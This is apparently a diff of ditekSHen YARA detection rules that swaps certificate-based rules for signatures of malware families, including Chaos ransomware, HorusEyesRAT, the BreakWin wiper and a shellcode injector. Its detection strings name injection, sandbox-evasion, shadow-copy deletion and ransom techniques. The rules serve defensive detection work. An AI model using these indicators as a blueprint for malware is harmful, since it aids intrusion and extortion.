+		$f11 = ".VncInstalled" ascii
+		$f12 = ".PingPong" ascii
+		$f13 = ".ListenCMD" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APDZQKILIIQVIJSCTY" and pe.signatures[i].serial=="c6:d7:ad:85:2a:f2:11:bf:48:f1:9c:c0:24:2d:cd:72")
+		uint16(0)==0x5a4d and (7 of ($s*) or 8 of ($f*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0084888D5A12228E8950683Ecdab62Fe7A : FILE
+rule DITEKSHEN_MALWARE_Win_Gasket : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Gasket"
 		author = "ditekSHen"
-		id = "5036d604-55df-565a-b6db-c788da007ea8"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3afa131d-9c88-50df-a3b4-552db4a84e69"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4309-L4320"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7220-L7250"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4deda791923cdacccf57d54651ca44bd8c04d053a11ccf5700354f9f37be17de"
+		logic_hash = "0279979915891fc8c813ba555120ee5705b53b234a808b5ca77bff35a082e376"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "390b23ed9750745e8441e35366b294a2a5c66fcd"
-		importance = 20
+
+	strings:
+		$s1 = "main.checkGasket" ascii
+		$s2 = "main.connectGasket" ascii
+		$s3 = "/cert/trust/dev/stderr/dev/stdout/index.html" ascii
+		$f1 = ".SetPingHandler." ascii
+		$f2 = ".SetPongHandler." ascii
+		$f3 = ".computeMergeInfo." ascii
+		$f4 = ".computeDiscardInfo." ascii
+		$f5 = ".readPlatformMachineID." ascii
+		$f6 = ".(*Session).establishStream." ascii
+		$f7 = ".(*Session).handleGoAway." ascii
+		$f8 = ".(*Stream).processFlags." ascii
+		$f9 = ".(*Session).handlePing." ascii
+		$f10 = ".(*windowsService).Install." ascii
+		$f11 = ".(*windowsService).Uninstall." ascii
+		$f12 = ".(*windowsService).Status." ascii
+		$f13 = ".getStopTimeout." ascii
+		$f14 = ".DialContext." ascii
+		$f15 = ".WriteControl." ascii
+		$f16 = ".(*Server).authenticate." ascii
+		$f17 = ".(*Server).ServeConn." ascii
+		$f18 = ".(*TCPProxy).listen." ascii
+		$f19 = ".UserPassAuthenticator.Authenticate." ascii
+		$f20 = ".(*InfoPacket).XXX_" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ub30 Limited" and pe.signatures[i].serial=="00:84:88:8d:5a:12:22:8e:89:50:68:3e:cd:ab:62:fe:7a")
+		uint16(0)==0x5a4d and ( all of ($s*) or 16 of ($f*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_709D547A2F09D39C4C2334983F2Cbf50 : FILE
+rule DITEKSHEN_MALWARE_Win_Silentmoon : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SilentMoon"
 		author = "ditekSHen"
-		id = "e3b2ab8b-be90-5593-843f-59f2d626e604"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0b41a07b-0e2a-5bbf-8789-3b46460d2c09"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4322-L4333"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7252-L7272"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f45a2047181f3f07a8fb9cc00aafc31ba7aa369fc5c0165557757306a0de0d44"
+		logic_hash = "1aa61e83d0003ef41d16fd40698485fdf41a957639ac3c3f2770994a43bd502a"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		thumbprint = "f10095c5e36e6bce0759f52dd11137756adc3b53"
-		importance = 20
+
+	strings:
+		$s1 = "\\\\.\\Global\\PIPE\\" fullword wide
+		$s2 = "REMOTE_NS:ERROR:%d" fullword ascii
+		$s3 = "REMOTE:ERROR:%d" fullword ascii
+		$s4 = "COMNAP,COMNODE,SQLQUERY,SPOOLSS,LLSRPC,browser" fullword wide
+		$s5 = "Mem alloc err" fullword ascii
+		$s6 = "block %d: crc = 0x%08x, combined CRC = 0x%08x, size = %d" ascii
+		$x1 = "ACTION:UNSUPPORTED" fullword ascii
+		$x2 = "?ServiceMain@@YAXKPAPA_W@Z" fullword ascii
+		$x3 = "?ServiceCtrlHandler@@YGKKKPAX0@Z" fullword ascii
+		$x4 = "%d socks, %d sorted, %d scanned" ascii
+		$x5 = "GoldenSky" fullword wide
+		$x6 = "SilentMoon" fullword wide
+		$x7 = "internalstoragerpc" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BMUZVYUGWSQWLAIISX" and pe.signatures[i].serial=="70:9d:54:7a:2f:09:d3:9c:4c:23:34:98:3f:2c:bf:50")
+		uint16(0)==0x5a4d and ( all of ($s*) or 3 of ($x*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_98A04Ea05E8A949A4D880D0136794Df3 : FILE
+rule DITEKSHEN_MALWARE_Win_Lu0Bot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Lu0Bot"
 		author = "ditekSHen"
-		id = "cda10dcf-bc46-56d9-a4b5-60a76249334c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f8595553-b911-5e30-9ece-cad7d5913f19"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4335-L4346"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7274-L7285"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "05c63386558b954da3cfec1fd514a7a567189d9ac33d818cbbabf3eaf72ed130"
+		logic_hash = "b4822248230a804b1dc75f8d517af28a621dab1746c9ef45eaa4754149ce0cba"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0387ce856978cfa3e161fc03751820f003b478f3"
-		importance = 20
+
+	strings:
+		$s1 = "WinExec" fullword ascii
+		$s2 = "AlignRects" fullword ascii
+		$o1 = { be 00 20 40 00 89 f7 89 f0 81 c7 a? 01 00 00 81 }
+		$o2 = { 53 50 e8 b0 01 00 00 e9 99 01 00 00 e8 ae 01 00 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FRVFMPRLNIMAMSUIMT" and pe.signatures[i].serial=="98:a0:4e:a0:5e:8a:94:9a:4d:88:0d:01:36:79:4d:f3")
+		uint16(0)==0x5a4d and filesize <4KB and 1 of ($s*) and all of ($o*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2355895F1759E9E3648026F4 : FILE
+rule DITEKSHEN_MALWARE_Win_Shellcodedlei : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects shellcode downloader, executer, injector"
 		author = "ditekSHen"
-		id = "d716ed7f-8886-587d-a868-805da13bb925"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "62a4f141-87f8-596a-adf6-5bf9a50c9e91"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4348-L4360"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7287-L7304"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "429375af70872755ab2d517b125042795c9a20238405a4af5b0caecc46a3f563"
+		logic_hash = "064c17427ae6b33ffb09a14abcb924d20ead44250e8bd03070bf40869f1c812e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f46d457898d436769f0c70127044e2019583ee16"
-		hash1 = "f4f4a5953d0c87db611fa05bb51672591295049978a0e9e14eca8224254ecd7a"
-		importance = 20
+
+	strings:
+		$s1 = "PPidSpoof" fullword ascii
+		$s2 = "ProcHollowing" fullword ascii
+		$s3 = "CreateProcess" fullword ascii
+		$s4 = "DynamicCodeInject" fullword ascii
+		$s5 = "PPIDDynCodeInject" fullword ascii
+		$s6 = "MapAndStart" fullword ascii
+		$s7 = "PPIDAPCInject" fullword ascii
+		$s8 = "PPIDDLLInject" fullword ascii
+		$s9 = "CopyShellcode" fullword ascii
+		$s10 = "GetEntryFromBuffer" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Avira Operations GmbH & Co. KG" and pe.signatures[i].serial=="23:55:89:5f:17:59:e9:e3:64:80:26:f4")
+		uint16(0)==0x5a4d and filesize <100KB and 5 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00818631110B5D14331Dac7E6Ad998B902 : FILE
+rule DITEKSHEN_MALWARE_Win_Bluebot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BlueBot"
 		author = "ditekSHen"
-		id = "15efa9cf-5457-5b04-abee-8f86721c5d56"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cddd40bb-c3c6-5c44-9cb1-480571375be8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4376-L4390"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7306-L7333"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ee82090ceb1378b44c283586d0f0b6ec0d9779fab2497b0168acec8e5546a4a8"
+		logic_hash = "04a19f649eb2fff7a5bc59ccead80cd0a04c4e5418cbc83e850045dba75b03e0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c93082334ef8c2d6a0a1823cdf632c0d75d56377"
-		importance = 20
+
+	strings:
+		$x1 = "Blue_Botnet" wide
+		$x2 = "5-START-http" ascii
+		$x3 = "*300-END-" ascii
+		$x4 = "botlogger.php" wide
+		$s1 = "//TARGET//" wide
+		$s2 = "//BLOG//" wide
+		$s3 = "MCBOTALPHA" wide
+		$s4 = "//IPLIST//" wide
+		$s5 = "Host: //BLOG//" wide
+		$s6 = "User-Agent: //USERAGENT//" wide
+		$s7 = "<string>//TARGET//</string>" wide
+		$s8 = "POST //URL// HTTP/1.1/r/n" wide
+		$v1 = "<attack>b__" ascii
+		$v2 = "PressData" fullword ascii
+		$v3 = "POSTPiece" fullword ascii
+		$v4 = /(load|tcp|udp)Stuff/ fullword ascii
+		$v5 = "isAttacking" fullword ascii
+		$v6 = "DoSAttack" fullword ascii
+		$v7 = "prv_attack" fullword ascii
+		$v8 = "blogList" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "2 TOY GUYS LLC" and (pe.signatures[i].serial=="00:81:86:31:11:0b:5d:14:33:1d:ac:7e:6a:d9:98:b9:02" or pe.signatures[i].serial=="81:86:31:11:0b:5d:14:33:1d:ac:7e:6a:d9:98:b9:02"))
+		uint16(0)==0x5a4d and (2 of ($x*) or 5 of ($s*) or 5 of ($v*) or 9 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7Ab21306B11Ff280A93Fc445876988Ab : FILE
+rule DITEKSHEN_MALWARE_Win_Unkcobaltstrike : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects unknown malware, potentially CobaltStrike related"
 		author = "ditekSHen"
-		id = "583fccef-3ad5-5f9a-a030-d6bf9ebed00f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "24ddccc7-3700-57a1-999c-ddefae6911bb"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4392-L4403"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7335-L7354"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "aa93d36d472d24cdd937c323ffa048fc71984fcf8a13400618ec8a0f2c172fc0"
+		logic_hash = "2fb4e87eec3b56773b812ce6a5c28143183087e0f93d92d76c1103563f8e0891"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6d0d10933b355ee2d8701510f22aff4a06adbe5b"
-		importance = 20
+
+	strings:
+		$s1 = "https://%hu.%hu.%hu.%hu:%u" ascii wide
+		$s2 = "https://microsoft.com/telemetry/update.exe" ascii wide
+		$s3 = "\\System32\\rundll32.exe" ascii wide
+		$s4 = "api.opennicproject.org" ascii wide
+		$s5 = "%s %s,%s %u" ascii wide
+		$s6 = "User32.d?" ascii wide
+		$s7 = "StrDupA" fullword ascii wide
+		$s8 = "{6d4feed8-18fd-43eb-b5c4-696ad06fac1e}" ascii wide
+		$s9 = "{ac41592a-3d21-46b7-8f21-24de30531656}" ascii wide
+		$s10 = "bd526:3b.4e32.57c8.9g32.35ef41642767~" ascii wide
+		$s11 = { 4b d3 91 49 a1 80 91 42 83 b6 33 28 36 6b 90 97 }
+		$s12 = { 0d 4c e3 5c c9 0d 1f 4c 89 7c da a1 b7 8c ee 7c }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ABC BIOS d.o.o." and pe.signatures[i].serial=="7a:b2:13:06:b1:1f:f2:80:a9:3f:c4:45:87:69:88:ab")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0086909B91F07F9316984D888D1E28Ab76 : FILE
+rule DITEKSHEN_MALWARE_Win_EXEPWSHDL : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executable downloaders using PowerShell"
 		author = "ditekSHen"
-		id = "58b191cc-82f2-5ad3-8d1e-91c7528880c6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "1e5a414b-e81e-5915-b00b-75edbfcc32d2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4405-L4416"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7356-L7374"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "eb8807437edbbba52a928de4ebf0a25513127bd9800088e0d85e41c8375a05b1"
+		logic_hash = "58fbd27758ecd435eb30b7c34f4cf142db8e31edee0838175992923a51706508"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "5eba3c38e989c7d16c987e2989688d3bd24032bc"
-		importance = 20
+
+	strings:
+		$x1 = "[Ref].Assembly.GetType(" ascii wide
+		$x2 = ".SetValue($null,$true)" ascii wide
+		$s1 = "replace" ascii wide
+		$s2 = "=@(" ascii wide
+		$s3 = "[System.Text.Encoding]::" ascii wide
+		$s4 = ".substring" ascii wide
+		$s5 = "FromBase64String" ascii wide
+		$d1 = "New-Object" ascii wide
+		$d2 = "Microsoft.XMLHTTP" ascii wide
+		$d3 = ".open(" ascii wide
+		$d4 = ".send(" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dantherm Intelligent Monitoring A/S" and pe.signatures[i].serial=="00:86:90:9b:91:f0:7f:93:16:98:4d:88:8d:1e:28:ab:76")
+		uint16(0)==0x5a4d and filesize <100KB and all of ($x*) and (3 of ($s*) or all of ($d*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D4Ef1Ab6Ab5D3Cb35E4Efb7984Def7A2 : FILE
+rule DITEKSHEN_MALWARE_Win_MB150 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects MB150? Go ransomware"
 		author = "ditekSHen"
-		id = "d96df78b-3824-5f94-8a32-87dfd9cd585f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "9688974b-ccf9-59ea-bb31-e46c63f021bf"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4418-L4429"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7376-L7402"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "845abc1f08a4d56b32477fbe8855f45633833c68f4255d0690f10cc23c167e84"
+		logic_hash = "a07535fc53912ddde6a0bed187c21ecdb2701d317d7de0cbdd2db37071bc9a21"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "10d82c75a1846ebfb2a0d1abe9c01622bdfabf0a"
-		importance = 20
+
+	strings:
+		$x1 = /main\.evade_(clicks_count|cpu_count|disk_size|foreground_window|hostname|mac|printer|screen_size|system_memory|time_acceleration|tmp|utc)/ fullword ascii
+		$x2 = /main\.sandbox_(hostname|mac_addresses)/ fullword ascii
+		$x3 = "main.drop_ransom_note" fullword ascii
+		$x4 = "main.ransom_amount" fullword ascii
+		$x5 = "main.create_encryption_key" fullword ascii
+		$x6 = "main.encrypt" fullword ascii
+		$x7 = "main.encrypt_encryption_key" fullword ascii
+		$x8 = "main.encrypt_file" fullword ascii
+		$x9 = "main.ext_blacklist" fullword ascii
+		$mac1 = "00:03:FF00:05:6900:0C:2900:16:3E00:1C:1400:1C:4200:50:56" ascii nocase
+		$mac2 = "00-03-FF00-05-6900-0C-2900-16-3E00-1C-1400-1C-4200-50-56" ascii nocase
+		$mac3 = "0003FF000569000C2900163E001C14001C42005056" ascii nocase
+		$go = "Go build ID:" ascii
+		$s1 = "main.MB150" ascii
+		$s2 = "http://1.1.1.1" ascii
+		$s3 = "your personnal ID" ascii
+		$s4 = "ransom amount" ascii
+		$s5 = "binance.com" ascii
+		$s6 = "getmonero.org" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "REIGN BROS ApS" and pe.signatures[i].serial=="00:d4:ef:1a:b6:ab:5d:3c:b3:5e:4e:fb:79:84:de:f7:a2")
+		uint16(0)==0x5a4d and (4 of ($x*) or ($go and 4 of ($s*)) or (1 of ($mac*) and (2 of ($x*) or 3 of ($s*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_13039Da3B2924B7A8B0A2Ac4637C2Efa : FILE
+rule DITEKSHEN_MALWARE_Win_Chaos : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Chaos ransomware"
 		author = "ditekSHen"
-		id = "9621584b-a115-5b96-8de5-15776232cdb2"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "59d43cfb-72d8-5c17-87bf-f1f364d23bed"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4431-L4442"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7404-L7433"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7492f2a50effae809b512ce7a2a769f3db62ab3573974206b729417cc629ca83"
+		logic_hash = "6203ab09745db817b9e909d70cf1d5be9769c414461ee5f7bb344b6959986537"
 		score = 75
-		quality = 75
+		quality = 44
 		tags = "FILE"
-		thumbprint = "ad9fa264674c152b2298533e41e098bcaa0345af"
-		importance = 20
+
+	strings:
+		$s1 = "<EncyptedKey>" fullword wide
+		$s2 = "<EncryptedKey>" fullword wide
+		$s3 = "C:\\Users\\" fullword wide
+		$s4 = "read_it.txt" fullword wide
+		$s5 = "#base64Image" fullword wide
+		$s6 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" fullword wide
+		$s7 = /check(Spread|Sleep|AdminPrivilage|deleteShadowCopies|disableRecoveryMode|deleteBackupCatalog)/ fullword ascii nocase
+		$s8 = /(delete|disable)(ShadowCopies|RecoveryMode|BackupCatalog)/ fullword ascii nocase
+		$s9 = "spreadName" fullword ascii
+		$s10 = "processName" fullword ascii
+		$s11 = "sleepOutOfTempFolder" fullword ascii
+		$s12 = "AlreadyRunning" fullword ascii
+		$s13 = "random_bytes" fullword ascii
+		$s14 = "encryptDirectory" fullword ascii nocase
+		$s15 = "EncryptFile" fullword ascii nocase
+		$s16 = "intpreclp" fullword ascii
+		$s17 = "bytesToBeEncrypted" fullword ascii
+		$s18 = "textToEncrypt" fullword ascii
+		$m1 = "Chaos is" wide
+		$m2 = "Payment informationAmount:" wide
+		$m3 = "Coinmama - hxxps://www.coinmama.com Bitpanda - hxxps://www.bitpanda.com" wide
+		$m4 = "where do I get Bitcoin" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Tekhnokom" and pe.signatures[i].serial=="13:03:9d:a3:b2:92:4b:7a:8b:0a:2a:c4:63:7c:2e:fa")
+		uint16(0)==0x5a4d and 6 of ($s*) or all of ($m*) or (2 of ($m*) and 4 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2Abd2Eef14D480Dfea9Ca9Fdd823Cf03 : FILE
+rule DITEKSHEN_MALWARE_Win_Horuseyesrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects HorusEyesRAT"
 		author = "ditekSHen"
-		id = "5e17d055-26d7-5dde-a905-9d03fb164fa2"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "80b2fd11-f8b4-5aee-b55a-4f7ee9fad6cf"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4444-L4455"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7435-L7451"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5f0f5dac599923f385fcd8e8b14349263cabe1c83242fe097d9fb26ea0567c1a"
+		logic_hash = "c0f499e3a17923b391ed6b7fa723525a9d4aef0ce04a2c7abec60d5eda15888f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "db3d9ccf11d8b0d4f33cf4dc93689fdd942f8fbe"
-		importance = 20
+
+	strings:
+		$x1 = "\\HorusEyesRat-" ascii
+		$x2 = "\\HorusEyesRat.pdb" ascii
+		$x3 = "get_horus_eye" ascii
+		$s1 = "get_Type_Packet" fullword ascii
+		$s2 = "PacketLib" fullword ascii nocase
+		$s3 = "System.Net.Sockets" fullword ascii
+		$s4 = "PROCESS_MODE_BACKGROUND_BEGIN" fullword ascii
+		$s5 = "EXECUTION_STATE" fullword ascii
+		$s6 = /Plugins\\[A-Z]{2}.dll/ fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BE SOL d.o.o." and pe.signatures[i].serial=="2a:bd:2e:ef:14:d4:80:df:ea:9c:a9:fd:d8:23:cf:03")
+		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and 3 of ($s*)) or (4 of ($s*) and #s6>4))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_08622B9Dd9D78E67678Ecc21E026522E : FILE
+rule DITEKSHEN_MALWARE_Win_Breakwin : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BreakWin Wiper"
 		author = "ditekSHen"
-		id = "922282e9-9f34-537b-9fd1-283ae44b9b54"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4ffadbfa-c1cc-59e6-a9ba-7a34eca6c3fe"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4457-L4468"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7453-L7471"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7e572c4241d92ad34efd91c3f6338da4093c83d84a734766448ac7cb2a72bc0c"
+		logic_hash = "86fc89e28fc107c2d4fe98dc16048d9e076b1fef53a3df0814f80a88bbe09c48"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a7d86073742ea55af134e07a00aefa355dc123be"
-		importance = 20
+
+	strings:
+		$s1 = "Started wiping file %s with %s." fullword wide
+		$s2 = "C:\\Program Files\\Lock My PC" wide
+		$s3 = "Stardust is still alive." fullword wide
+		$s4 = "Failed to terminate the locker process." fullword wide
+		$s5 = "C:\\Windows\\System32\\cmd.exe" fullword wide
+		$s6 = "Process created successfully. Executed command: %s." fullword wide
+		$s7 = "locker_background_image_path" fullword ascii
+		$s8 = "takeown.exe /F \"C:\\Windows\\Web\\Screen\" /R /A /D Y" fullword ascii
+		$s9 = "icacls.exe \"C:\\Windows\\Web\\Screen\" /reset /T" fullword ascii
+		$s10 = "takeown.exe /F \"C:\\ProgramData\\Microsoft\\Windows\\SystemData\" /R /A /D Y" fullword ascii
+		$s11 = ".?AVProcessSnapshotCreationFailedException@@" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kayak Republic af 2015 APS" and pe.signatures[i].serial=="08:62:2b:9d:d9:d7:8e:67:67:8e:cc:21:e0:26:52:2e")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5A17D5De74Fd8F09Df596Df3123139Bb : FILE
+rule DITEKSHEN_MALWARE_Win_Coinminer03 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects coinmining malware"
 		author = "ditekSHen"
-		id = "871d9840-4540-58d3-980e-d356c856dbca"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e0e57557-7c46-5336-b904-c4c1f142bd81"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4470-L4481"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7506-L7528"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f5ff9f7d857da3329708ba9c0bfac0999b04aeb170fb60387f4b48fa6029a641"
+		logic_hash = "f22e1af955a0d132dda820fe5e5e1ae2f077b7264ce1f0125a2f37c0da6b6508"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1da887a57dddd7376a18f75841559c9682f78b04"
-		importance = 20
+
+	strings:
+		$s1 = "UnVzc2lhbiBTdGFuZGFyZCBUaW1l" wide
+		$s2 = "/xmrig" wide
+		$s3 = "/gminer" wide
